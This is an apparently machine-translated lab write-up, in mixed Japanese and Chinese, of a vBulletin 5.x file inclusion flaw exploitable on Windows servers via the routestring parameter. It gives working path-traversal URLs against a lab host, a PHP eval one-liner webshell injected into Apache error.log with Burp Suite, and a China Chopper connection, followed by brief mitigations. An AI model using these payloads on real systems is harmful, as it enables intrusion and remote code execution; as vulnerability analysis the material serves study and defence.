vBulletin にはファイル インクルードの問題があり、悪意のある訪問者が vBulletin サーバーからファイルをインクルードし、任意の PHP コードを実行できるようになります。未検証の悪意のある訪問者が、routestring= パラメーターを含む GET リクエストをindex.php に発行することにより、ファイル インクルードの脆弱性を引き起こす可能性があり、最終的にはリモート コード実行の脆弱性
このコードは
/includes/vb5/frontend/routing.phpFile<pre class="brush:php;toolbar:false">if (strlen($path) > 2 ) { $ext = strtolower(substr($path, -4)) ; if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg') OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js')) { header("HTTP/1.0 404 Not Found"); die(''); } }</pre>
にあります。このコードは、
によって取得された値が正しいかどうかを決定します。 .gif
、.png
、.jpg
、.css
または .js
の末尾にあります。存在する場合、ヘッダー情報は 404<pre class="brush:php;toolbar:false">if (strpos($path, '/') === false) { $this->controller = 'relay'; $this->action = 'legacy'; $this->template = ''; $this->arguments = array($path); $this->queryParameters = array(); return; }</pre>
を返します。このコードの
関数は、/
文字が 内で最初に出現する位置を返します。 $path
、返された情報が false
の場合にのみ処理が続行されます。これは、/
がパスに現れないことを意味します。 Linux サーバーの場合、URL を処理するとき、/ はディレクトリ層の区切り文字およびインジケーターを表すため、Web サイト内の他のファイルを複数の ../ の形式で含めることはできません。ただし、Windows サーバーの場合、パスを表すときの / と \ は同等であり、プログラムは \ を処理しないため、Windows サーバーにこのファイル インクルードの脆弱性が発生します。
バージョン番号 vBulletin v5.x バージョン 脆弱性の発見者は製造元に連絡しましたが、まだ返答がありません
3 . 脆弱性の悪用
ステップ 1 脆弱性の検証
このステップでは、エラー レポートを使用してサーバー情報を取得し、脆弱性を使用して検証のための phpinfo() 関数の実行を組み込みます
1. ターゲット URL 172.16.12.2/vb5/index.php を開き、Web サイトのホームページは次のとおりです:
2. 脆弱性を参照してください。ページにアクセスし、エラー メッセージ
ブラウザで 172.16 を開きます。12.2/vb5/index.php?routestring=.\\、エラー メッセージは次のとおりです:
#ページで require_once() を使用して現在のパス (C:\phpstudy\ WWW\vb5/core/.\\) を含めることは許可されておらず、エラーが報告されていることがわかります。 Web サイトと Web サイト構築ソフトウェアのパス: phpstudy
phpstudy Web サイトを構築するとき、デフォルトでは Web サイトのルート ディレクトリに残ります。次に l.php および phpinfo.php ファイルです。通常は Web サイトです。管理者はこれら 2 つのファイルを削除または変更します。\ にはエスケープの意味もあり、パスを表現する場合には \\ と \ は同等であるため、エスケープを防ぐために \\ を使用します (この実験も完了できます)3. phpinfo.txt ファイルにアクセスします脆弱性が含まれていることを確認するには、Web サイトのルート ディレクトリに phpinfo.txt ファイルがあり、その内容は 、ファイルに直接アクセスしようとします。 http://172.16.12.2/phpinfo.txt
Web サイトに直接アクセスすると、テキスト コンテンツが表示されます
4. phpinfo.txt ファイルをインクルードします次に、ファイルをインクルードして、構築されたリンクを開いてみますhttp://172.16.12.2/vb5/index .php?routestring=\ \..\\..\\..\\..\\..\\..\\phpstudy\\WWW\\phpinfo.txt
ここでは、サーバー上の Web サイトの絶対パスがすでにわかっているため、複数の ..\\ とファイル パスを使用して、含まれるファイルの Web サイト パスを示します。ファイルを含めた後、サーバーは次のように解析されます。 php ファイルと phpinfo() 関数が実行されます。
phpinfo(): PHP 組み込み関数。PHP サーバーの構成情報を出力します。
ステップ 2 脆弱性の悪用
一般的に, PHP ファイルインクルードの脆弱性を悪用する方法は、まず Web サイトのアップロード ポイントを使用して悪意のあるコードを含むファイルをアップロードし、次にアップロードされたファイルのパスを見つけて URL を構築し、脆弱性を含めることで悪意のあるコードを実行します。ただし、Web サイト自体に利用可能なアップロード ポイントがない場合、アップロードされるファイルに制限がありファイルのパスを知ることができない場合、または入力中に取得したパラメーターがフィルターされている場合、この方法は機能しません。
上記のことから、プログラムにはインクルードされるファイルのサフィックスに制限があることがわかります。他の用途がない場合は、Web サイト自体に存在するファイルをインクルードすることを選択できます。この実験で使用: Web サイトのログ ファイルを含める本次包含的是Apache的错误访问日志(error.log),这个日志文件在phpstudy中的路径为: \phpstudy\apache\logs\error.log。
1.将一句话写入日志记录
首先,我们构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中。
http://172.16.12.2/vb5/index.php<?php @eval($_POST[c]);?>
这个链接直接访问的话,一句话会被编码成%3C?php%20@eval($_POST[c]);?%3E
,所以需要使用Burp suite
改一下包。
使用Everything搜索BurpLoader.jar,双击打开工具Burp suite。
配置浏览器的代理设置:
打开桌面的chrome浏览器,访问chrome://settings或者点击浏览器右侧的自定义按钮--》设置,进入设置界面
点击下方的显示高级设置,找到更改代理服务器设置按钮并打开,在弹出的设置中选择局域网设置
具体配置如下图,修改后确定
配置完代理后,在浏览器中访问上述构造的链接,Burpsuite接受到数据包会自动截获,打开Burpsuite--》proxy--》Intercept,在下方文本框中,右击并选择Send to Repeater,随后点击Repeter功能按钮,对所截获的包进行修改。
我们将被编码的链接改回编码之前的状态,修改后的内容如下:
点击 Go按钮发送,返回403报错,服务器错误日志文件成功将此次记录到error.log中
我们已经成功的将利用代码写入日志中了
注意利用代码的正确性,如果写入错误的代码可能会导致后续包含时,代码不能成功执行
现在,将Burpsuite关闭,并按照上述设置浏览器代理的方法关闭代理
2.构造Webshell连接地址
们根据日志的路径构造访问路径:
http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log
客户端连接一句话
接下来就使用中国菜刀连接我们的一句话,使用Everything搜索并打开chopper,右击,选择添加,在地址栏内填入我们构造好的链接,右侧写入密码c,类型选择 PHP(Eval),然后点击添加。
双击链接,连接成功(此处如果连接不上请检查写入的代码是否正确,代理是否关闭)
包含日志文件需要确定的服务器日志路径,通常管理员会修改相关配置,而且写入代码时需要注意严格的格式和编码,所以这种方法不作为优选利用方法,但是在没有其他利用点的情况下,也是可以尝试的
(1) 等待官方发布补丁,个人用户建议采用可替代的相关产品
(2) 企业用户可修改网站源代码,增加\字符的过滤处理
(3) 网站管理人员可以修改服务器本身敏感信息文件位置,避免漏洞的进一步利用
以上がvBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。